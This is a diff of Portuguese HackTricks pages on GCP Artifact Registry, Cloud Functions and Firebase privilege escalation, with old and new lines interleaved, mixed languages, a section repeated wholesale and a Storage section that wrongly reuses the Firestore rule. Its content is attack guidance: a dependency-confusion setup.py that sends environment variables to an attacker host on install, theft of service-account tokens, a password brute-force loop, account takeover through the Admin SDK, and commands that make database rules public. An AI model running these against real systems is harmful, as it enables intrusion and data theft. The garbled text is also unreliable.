- Certifique-se de que `twine` esteja instalado (`pip install twine`).
- Certifique-se de ter o `twine` instalado (`pip install twine`).
- Use o `gcloud` para configurar credenciais:
<details>
<summary>Enviar pacote com twine</summary>
<summary>Upload package with twine</summary>
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
```
</details>
3. **Limpar o build**
3. **Limpar a compilação**
<details>
<summary>Limpar artefatos de build</summary>
<summary>Limpar artefatos da compilação</summary>
```bash
rm -rf dist build hello_world.egg-info
```
@@ -133,7 +133,7 @@ rm -rf dist build hello_world.egg-info
</details>
> [!CAUTION]
> Não é possível fazer upload de uma biblioteca python com a mesma versão que a já presente, mas é possível fazer upload de **versões maiores** (ou adicionar um **`.0` no final** da versão se isso funcionar — não em python, porém), ou **deletar a última versão e fazer upload de uma nova com** (necessário `artifactregistry.versions.delete`):
> Não é possível fazer upload de uma biblioteca python com a mesma versão que já está presente, mas é possível enviar **versões maiores** (ou adicionar um extra **`.0` no final** da versão se isso funcionar — não em python, porém), ou **apagar a última versão e fazer o upload de uma nova** (necessário `artifactregistry.versions.delete)`**:**
>
> <details>
> <summary>Excluir versão do artifact</summary>
@@ -146,12 +146,12 @@ rm -rf dist build hello_world.egg-info
### `artifactregistry.repositories.downloadArtifacts`
Com essa permissão você pode **baixar artefatos** e procurar por **informações sensíveis** e **vulnerabilidades**.
Com esta permissão você pode **baixar artefatos** e procurar por **informações sensíveis** e **vulnerabilidades**.
Baixar uma imagem **Docker**:
<details>
<summary>Download Docker image from Artifact Registry</summary>
<summary>Baixar imagem Docker do Artifact Registry</summary>
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -170,7 +170,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
```
</details>
- O que acontece se um registro remoto e um registro padrão forem misturados em um registro virtual e um pacote existir em ambos? Confira esta página:
- O que acontece se um registro remoto e um registro padrão forem misturados em um registro virtual e um pacote existir em ambos? Consulte esta página:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -178,7 +178,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
Excluir artefatos do registro, como imagens docker:
Excluir artefatos do Artifact Registry, como imagens Docker:
<details>
<summary>Excluir imagem Docker do Artifact Registry</summary>
@@ -190,7 +190,7 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
### `artifactregistry.repositories.delete`
Excluir um repositório do Artifact Registry (mesmo que contenha conteúdo):
Excluir um repositório completo (mesmo que contenha conteúdo):
<details>
<summary>Excluir repositório do Artifact Registry</summary>
@@ -201,17 +201,72 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
### `artifactregistry.repositories.setIamPolicy`
Um atacante com essa permissão poderia conceder a si mesmo permissões para realizar alguns dos ataques a repositório mencionados anteriormente.
Um atacante com essa permissão poderia conceder a si mesmo permissões para executar alguns dos ataques em repositório mencionados anteriormente.
### Pivoting to other Services through Artifact Registry Read & Write
- **Cloud Functions**
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the Cloud Function continuou funcionando. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **apenas modificar a imagem armazenada não é suficiente para comprometer a Cloud Function**.
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the cloud function continue working. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **just modifying the stored image isn't possible to compromise the Cloud Function**.
- **App Engine**
Although App Engine creates docker images inside Artifact Registry, foi testado que **mesmo se você modificar a image dentro desse serviço** e remover a App Engine instance (fazendo com que uma nova seja implantada), o **código executado não muda**.\
Pode ser possível que realizando um **Race Condition attack como com os buckets** seja possível sobrescrever o código executado, mas isso não foi testado.
Even though App Engine creates docker images inside Artifact Registry. It was tested that **even if you modify the image inside this service** and removes the App Engine instance (so a new one is deployed) the **code executed doesn't change**.\
It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
### `artifactregistry.repositories.update`
Um atacante não precisa de permissões específicas do Artifact Registry para explorar este problema—apenas de uma configuração de virtual-repository vulnerável. Isso ocorre quando um repositório virtual combina um repositório público remoto (por exemplo, PyPI, npm) com um interno, e a fonte remota tem prioridade igual ou maior. Se ambos contiverem um pacote com o mesmo nome, o sistema seleciona a versão mais alta. O atacante só precisa conhecer o nome do pacote interno e ser capaz de publicar pacotes no registro público correspondente.
Com a permissão `artifactregistry.repositories.update`, um atacante poderia alterar as configurações upstream de um repositório virtual para criar intencionalmente essa configuração vulnerável e usar Dependency Confusion como método de persistência, inserindo pacotes maliciosos que desenvolvedores ou sistemas CI/CD possam instalar automaticamente.
O atacante cria uma versão maliciosa do pacote interno no repositório público com um número de versão mais alto. Para pacotes Python, isso significa preparar uma estrutura de pacote que imite a legítima.
```bash
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
```
Um arquivo setup.py é então criado contendo código malicioso que seria executado durante a instalação. Esse arquivo deve especificar um número de versão maior do que o presente no repositório privado.
```bash
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
```
Construa o package e remova o wheel para garantir que o código seja executado durante a instalação.
```bash
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
```
Faça upload do pacote malicioso para o repositório público (por exemplo, test.pypi.org para Python).
```bash
pip install twine
twine upload --repository testpypi dist/*
```
Quando um sistema ou serviço instala o pacote usando o repositório virtual, ele irá baixar a versão maliciosa do repositório público em vez da legítima interna, porque a versão maliciosa é superior e o repositório remoto tem prioridade igual ou maior.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,21 +12,19 @@ Mais informações sobre Cloud Functions:
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Um atacante com esses privilégios pode **criar uma nova Cloud Function com código arbitrário (malicioso) e atribuir-lhe uma Service Account**. Depois, leak o Service Account token a partir dos metadata para escalar privilégios para essa Service Account.\
Podem ser necessários alguns privilégios para acionar a função.
Um atacante com esses privilégios pode **criar uma nova Cloud Function com código arbitrário (malicioso) e atribuir-lhe um Service Account**. Then, leak the Service Account token from the metadata to escalate privileges to it.\
Alguns privilégios para acionar a função podem ser necessários.
Scripts de exploit para este método podem ser encontrados [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) e [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) e o arquivo .zip pré-compilado pode ser encontrado [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
Exploit scripts para este método podem ser encontrados [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) e [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) e o arquivo .zip pré-construído pode ser encontrado [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Um atacante com esses privilégios pode **modificar o código de uma Function e até alterar a Service Account anexada** com o objetivo de exfiltrar o token.
Um atacante com esses privilégios pode **modificar o código de uma Function e até alterar o Service Account associado** com o objetivo de exfiltrar o token.
> [!CAUTION]
> Para implantar cloud functions você também precisará de permissões actAs sobre a default compute service account ou sobre a service account usada para construir a imagem.
> Para implantar Cloud Functions você também precisará de permissões actAs sobre o default compute service account ou sobre o service account que é usado para construir a imagem.
Alguns privilégios extras, como permissão `.call` para cloudfunctions versão 1 ou o role `role/run.invoker` para invocar a função, podem ser necessários.
<details><summary>Atualizar Cloud Function com código malicioso para exfiltrar service account token</summary>
Alguns privilégios adicionais, como a permissão `.call` para cloudfunctions versão 1 ou o papel `role/run.invoker` para acionar a função, podem ser necessários.
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
</details>
> [!CAUTION]
> Se você obtiver o erro `Permission 'run.services.setIamPolicy' denied on resource...` é porque está usando o parâmetro `--allow-unauthenticated` e não tem permissões suficientes para isso.
> Se você receber o erro `Permission 'run.services.setIamPolicy' denied on resource...` é porque você está usando o parâmetro `--allow-unauthenticated` e não tem permissões suficientes para isso.
O script de exploit para este método pode ser encontrado [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
### `cloudfunctions.functions.sourceCodeSet`
Com essa permissão você pode obter uma **URL de upload assinada para poder enviar um arquivo para o bucket da função (mas o código da função não será alterado, você ainda precisa atualizá-lo)**
<details><summary>Gerar URL de upload assinada para Cloud Function</summary>
Com esta permissão você pode obter uma **URL assinada para poder fazer upload de um arquivo para o bucket da função (mas o código da função não será alterado, você ainda precisa atualizá-lo)**
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -75,38 +69,49 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
</details>
Não tenho muita certeza de quão útil apenas essa permissão é do ponto de vista de um atacante, mas é bom saber.
Não tenho muita certeza de quão útil apenas essa permissão é do ponto de vista de um attacker, mas é bom saber.
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
Conceda a si mesmo qualquer um dos privilégios **`.update`** ou **`.create`** anteriores para escalar.
Conceda a si mesmo qualquer um dos privilégios anteriores **`.update`** ou **`.create`** para escalar.
```bash
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
```
### `cloudfunctions.functions.update`
Ter apenas permissões de **`cloudfunctions`**, sem **`iam.serviceAccounts.actAs`**, significa que **você não poderá atualizar a função, ENTÃO ISTO NÃO É UM PRIVESC VÁLIDO.**
Tendo apenas as permissões **`cloudfunctions`**, sem **`iam.serviceAccounts.actAs`**, você **não poderá atualizar a função, ENTÃO ISTO NÃO É UM PRIVESC VÁLIDO.**
### Acesso de leitura e escrita ao bucket
### Invocar funções
Com as permissões `cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run`, and run.routes.invoke, uma identidade pode invocar diretamente Cloud Functions. Também é necessário que a função permita tráfego público, ou que o chamador esteja dentro da mesma rede que a própria função.
```bash
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
```
### Acesso de Leitura e Escrita no bucket
Se você tem acesso de leitura e escrita ao bucket, pode monitorar mudanças no código e sempre que uma **atualização no bucket ocorrer, você pode substituir o novo código pelo seu próprio código** de modo que a nova versão do Cloud Function seja executada com o backdoored code submetido.
Se você tem acesso de leitura e escrita no bucket, pode monitorar mudanças no código e sempre que houver uma **atualização no bucket você pode substituir o novo código pelo seu próprio** de forma que a nova versão da Cloud Function se executada com o backdoored code submetido.
Você pode conferir mais sobre o ataque em:
Você pode verificar mais sobre o ataque em:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
No entanto, você não pode usar isso para pré-comprometer Cloud Functions de terceiros porque, se você criar o bucket na sua conta e conceder permissões públicas para que o projeto externo possa escrever nele, você recebe o seguinte erro:
No entanto, você não pode usar isso para pré-comprometer Cloud Functions de terceiros porque, se você criar o bucket na sua conta e der permissões públicas para que o projeto externo possa escrever nele, você recebe o seguinte erro:
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
> [!CAUTION]
> No entanto, isso poderia ser usado para ataques DoS.
### Acesso de leitura e escrita ao Artifact Registry
### Acesso de Leitura e Escrita no Artifact Registry
Quando um Cloud Function é criado, uma nova docker image é enviada ao Artifact Registry do projeto. Eu tentei modificar a imagem por uma nova, e até deletar a imagem atual (e a `cache` image) e nada mudou, a Cloud Function continuou funcionando. Portanto, talvez **possa ser possível abusar de um Race Condition attack** como com o bucket para alterar o docker container que será executado, mas **apenas modificar a imagem armazenada não é suficiente para comprometer a Cloud Function**.
Quando uma Cloud Function é criada, uma nova docker image é enviada para o Artifact Registry do projeto. Tentei modificar a image por uma nova, e até deletar a imagem atual (e a `cache` image) e nada mudou, a cloud function continuou funcionando. Portanto, talvez seja possível abusar de um Race Condition attack como com o bucket para trocar o docker container que será executado, mas apenas modificar a imagem armazenada não é suficiente para comprometer a Cloud Function.
## Referências

View File

@@ -0,0 +1,444 @@
# GCP - Firebase Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Firebase
### Unauthenticated access to Firebase Realtime Database
Um atacante não precisa de permissões específicas do Firebase para realizar este ataque. É necessário apenas que haja uma configuração vulnerável nas regras de segurança do Firebase Realtime Database, onde as regras estão definidas com `.read: true` ou `.write: true`, permitindo acesso público de leitura ou escrita.
O atacante deve identificar a URL do banco de dados, que normalmente segue o formato: `https://<project-id>.firebaseio.com/`.
Essa URL pode ser encontrada através de mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), analisando arquivos de configuração como google-services.json (Android) ou GoogleService-Info.plist (iOS), inspecionando o código-fonte de aplicações web, ou examinando o tráfego de rede para identificar requisições para domínios `*.firebaseio.com`.
O atacante identifica a URL do banco de dados e verifica se ela está exposta publicamente, então acessa os dados e potencialmente escreve informações maliciosas.
Primeiro, eles verificam se o banco de dados permite acesso de leitura ao adicionar .json à URL.
```bash
curl https://<project-id>-default-rtdb.firebaseio.com/.json
```
Se a resposta contiver dados JSON ou null (em vez de "Permission Denied"), o banco de dados permite acesso de leitura. Para verificar o acesso de escrita, o atacante pode tentar enviar uma requisição de escrita de teste usando a Firebase REST API.
```bash
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
```
Se a operação for bem-sucedida, o banco de dados também permite write access.
### Exposição de dados no Cloud Firestore
Um attacker não precisa de permissões específicas do Firebase para executar este ataque. É necessário apenas que exista uma configuração vulnerável nas regras de segurança do Cloud Firestore em que as regras permitem read or write access sem authentication ou com validação insuficiente. Um exemplo de uma regra mal configurada que concede full access é:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Essa regra permite que qualquer pessoa leia e escreva todos os documentos sem quaisquer restrições. As regras do Firestore são granulares e se aplicam por coleção e documento, portanto um erro em uma regra específica pode expor apenas determinadas coleções.
O atacante deve identificar o Firebase Project ID, que pode ser encontrado através de mobile app reverse engineering, análise de arquivos de configuração como google-services.json ou GoogleService-Info.plist, inspeção do código-fonte de aplicações web, ou análise do tráfego de rede para identificar requisições a firestore.googleapis.com.
A Firestore REST API usa o formato:
```bash
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Se as regras permitirem acesso de leitura não autenticado, o atacante pode ler coleções e documentos. Primeiro, ele tenta acessar uma coleção específica:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
```
Se a resposta contiver documentos JSON em vez de um erro de permissão, a coleção está exposta. O atacante pode enumerar todas as coleções acessíveis tentando nomes comuns ou analisando a estrutura da aplicação. Para acessar um documento específico:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Se as regras permitirem unauthenticated write access ou tiverem validação insuficiente, o attacker pode criar novos documentos:
```bash
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'
```
Para modificar um documento existente, deve-se utilizar PATCH:
```bash
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'
```
Para eliminar um documento e causar uma negação de serviço:
```bash
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
### Exposição de arquivos no Firebase Storage
Um atacante não precisa de permissões específicas do Firebase para realizar este ataque. Basta que exista uma configuração vulnerável nas regras de segurança do Firebase Storage, em que as regras permitem acesso read ou write sem autenticação ou com validação insuficiente. As Storage rules controlam as permissões de read e write de forma independente, portanto um erro em uma regra pode expor apenas o acesso read, apenas o acesso write, ou ambos. Um exemplo de regra mal configurada que concede acesso total é:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Esta regra permite acesso de leitura e escrita a todos os documentos sem quaisquer restrições. As regras do Firestore são granulares e aplicadas por coleção e por documento, portanto um erro em uma regra específica pode expor apenas determinadas coleções. O atacante deve identificar o Firebase Project ID, que pode ser encontrado por meio de engenharia reversa de aplicativos móveis, análise de arquivos de configuração como google-services.json ou GoogleService-Info.plist, inspeção do código-fonte da aplicação web, ou análise do tráfego de rede para identificar requisições para firestore.googleapis.com.
A REST API do Firestore usa o formato:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
Se as regras permitirem acesso de leitura não autenticado, o atacante pode ler coleções e documentos. Primeiro, ele tenta acessar uma coleção específica.
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
```
Se a resposta contiver a lista de arquivos em vez de um erro de permissão, o arquivo está exposto. O atacante pode visualizar o conteúdo dos arquivos especificando seu caminho:
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
```
Se as regras permitirem acesso de escrita não autenticado ou tiverem validação insuficiente, o atacante pode enviar arquivos maliciosos. Para enviar um arquivo através da REST API:
```bash
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>
```
O atacante pode fazer upload de code shells, malware payloads ou arquivos grandes para causar uma denial of service. Se a aplicação processar ou executar os arquivos enviados, o atacante pode obter remote code execution. Para excluir arquivos e causar uma denial of service:
```bash
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
```
### Invocação pública de Firebase Cloud Functions
Um atacante não precisa de permissões específicas do Firebase para explorar esse problema; basta que uma Cloud Function seja acessível publicamente via HTTP sem autenticação.
Uma função é vulnerável quando está configurada de forma insegura:
- Usa functions.https.onRequest, que não impõe autenticação (ao contrário de onCall functions).
- O código da função não valida a autenticação do usuário (por exemplo, sem verificações de request.auth ou context.auth).
- A função é acessível publicamente no IAM, ou seja, allUsers possui o papel roles/cloudfunctions.invoker. Este é o comportamento padrão para HTTP functions, a menos que o desenvolvedor restrinja o acesso.
Firebase HTTP Cloud Functions são expostas através de URLs como:
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
Um atacante pode descobrir essas URLs por meio de análise do código-fonte, inspeção do tráfego de rede, ferramentas de enumeração ou engenharia reversa de apps móveis.
Se a função estiver exposta publicamente e sem autenticação, o atacante pode invocá-la diretamente sem credenciais.
```bash
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'
```
Se a função não validar corretamente os inputs, o atacante pode tentar outros ataques, como code injection ou command injection.
### Brute-force attack contra Firebase Authentication com uma política de senha fraca
Um atacante não precisa de permissões específicas do Firebase para executar este ataque. Ele só requer que a Firebase API Key esteja exposta em aplicações mobile ou web, e que a política de senhas não tenha sido configurada com requisitos mais rígidos que os padrões.
O atacante deve identificar a Firebase API Key, que pode ser encontrada através de mobile app reverse engineering, análise de arquivos de configuração como google-services.json ou GoogleService-Info.plist, inspeção do código-fonte de aplicações web (por exemplo, em bootstrap.js), ou análise do tráfego de rede.
A REST API do Firebase Authentication usa o endpoint:
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
para autenticar com email e senha.
Se Email Enumeration Protection estiver desabilitado, as respostas de erro da API podem revelar se um email existe no sistema (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), o que permite aos atacantes enumerar usuários antes de tentar adivinhar senhas. Quando essa proteção está habilitada, a API retorna a mesma mensagem de erro tanto para emails inexistentes quanto para senhas incorretas, impedindo a enumeração de usuários.
É importante notar que o Firebase Authentication aplica rate limiting, que pode bloquear requisições se muitas tentativas de autenticação ocorrerem em pouco tempo. Por isso, o atacante teria que introduzir delays entre as tentativas para evitar ser rate-limited.
O atacante identifica a API Key e realiza tentativas de autenticação com múltiplas senhas contra contas conhecidas. Se Email Enumeration Protection estiver desabilitado, o atacante pode enumerar usuários existentes analisando as respostas de erro:
```bash
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'
```
Se a resposta contiver EMAIL_NOT_FOUND, o e-mail não existe no sistema. Se contiver INVALID_PASSWORD, o e-mail existe, mas a senha está incorreta, confirmando que o usuário está registrado. Uma vez que um usuário válido é identificado, o atacante pode realizar tentativas de brute-force. É importante incluir pausas entre as tentativas para evitar os mecanismos de rate-limiting do Firebase Authentication:
```bash
counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi
# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done
```
Com a política de senha padrão (mínimo de 6 caracteres, sem requisitos de complexidade), o atacante pode tentar todas as combinações possíveis de senhas de 6 caracteres, o que representa um espaço de busca relativamente pequeno em comparação com políticas de senha mais rígidas.
### Gerenciamento de usuários no Firebase Authentication
O atacante precisa de permissões específicas do Firebase Authentication para realizar este ataque. As permissões necessárias são:
- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
- `firebaseauth.users.delete` to delete users
- `firebaseauth.users.get` to retrieve user information
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions
Essas permissões estão incluídas na role `roles/firebaseauth.admin`, que concede acesso total de leitura/gravação aos recursos do Firebase Authentication. Elas também estão incluídas em roles de nível superior, como `roles/firebase.developAdmin` (que inclui todas as permissões firebaseauth.*) e `roles/firebase.admin` (acesso total a todos os serviços do Firebase).
Para usar o Firebase Admin SDK, o atacante precisaria de acesso às credenciais da service account (arquivo JSON), que podem ser encontradas em sistemas comprometidos, repositórios de código expostos publicamente, sistemas CI/CD comprometidos ou pela violação de contas de desenvolvedores que têm acesso a essas credenciais.
O primeiro passo é configurar o Firebase Admin SDK usando as credenciais da service account.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Para criar um usuário malicioso usando o e-mail da victim, o attacker tentaria usar o Firebase Admin SDK para gerar uma nova conta com esse e-mail.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Para modificar um usuário existente, o atacante atualizaria campos como o endereço de email, o status de verificação ou se a conta está desativada.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Para excluir uma conta de usuário e causar uma denial of service, o attacker enviaria uma solicitação para remover o usuário completamente.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
O atacante também pode recuperar informações sobre usuários existentes solicitando seu UID ou endereço de e-mail.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Além disso, o atacante poderia gerar links de verificação ou links de redefinição de senha para alterar a senha de um usuário e obter acesso à sua conta.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Gerenciamento de usuários no Firebase Authentication
Um atacante precisa de permissões específicas do Firebase Authentication para realizar este ataque. As permissões necessárias são:
- `firebaseauth.users.create` para criar usuários
- `firebaseauth.users.update` para modificar usuários existentes
- `firebaseauth.users.delete` para excluir usuários
- `firebaseauth.users.get` para obter informações de usuários
- `firebaseauth.users.sendEmail` para enviar e-mails aos usuários
- `firebaseauth.users.createSession` para criar sessões de usuário
Estas permissões estão incluídas na role `roles/firebaseauth.admin`, que concede acesso completo de leitura/gravação aos recursos do Firebase Authentication. Elas também fazem parte de roles de nível superior como `roles/firebase.developAdmin` (que inclui todas as permissões firebaseauth.*) e `roles/firebase.admin` (acesso total a todos os serviços do Firebase).
Para usar o Firebase Admin SDK, o atacante precisaria de acesso às credenciais da conta de serviço (um arquivo JSON), que poderiam ser obtidas a partir de sistemas comprometidos, repositórios de código expostos publicamente, ambientes CI/CD comprometidos ou através do comprometimento de contas de desenvolvedor que tenham acesso a essas credenciais.
O primeiro passo é configurar o Firebase Admin SDK usando as credenciais da conta de serviço.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Para criar um usuário malicioso usando o e-mail da vítima, o atacante tentaria criar uma nova conta de usuário com esse e-mail, atribuindo sua própria senha e informações de perfil.
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Para modificar um usuário existente, o atacante alteraria campos como o endereço de e-mail, o status de verificação ou se a conta está desativada.
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Para excluir uma conta de usuário—efetivamente causando um denial of service—o atacante enviaria uma solicitação para remover esse usuário permanentemente.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
O atacante também poderia recuperar informações sobre usuários existentes, como seu UID ou email, solicitando detalhes do usuário por UID ou por endereço de email.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Além disso, o atacante poderia gerar links de verificação ou links de redefinição de senha, permitindo que alterasse a senha de um usuário e assumisse o controle da conta.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Modificação das regras de segurança nos serviços Firebase
O atacante precisa de permissões específicas para modificar as regras de segurança, dependendo do serviço. Para Cloud Firestore e Firebase Cloud Storage, as permissões necessárias são `firebaserules.rulesets.create` para criar rulesets e `firebaserules.releases.create` para implantar releases. Essas permissões estão incluídas na função `roles/firebaserules.admin` ou em funções de nível superior, como `roles/firebase.developAdmin` e `roles/firebase.admin`. Para Firebase Realtime Database, a permissão necessária é `firebasedatabase.instances.update`.
O atacante deve usar a Firebase REST API para modificar as regras de segurança. Primeiro, o atacante precisa obter um token de acesso usando credenciais de conta de serviço.
Para obter o token:
```bash
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
```
Para modificar as regras do Firebase Realtime Database:
```bash
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'
```
Para modificar as regras do Cloud Firestore, o atacante deve criar um ruleset e então fazer o deploy dele:
```bash
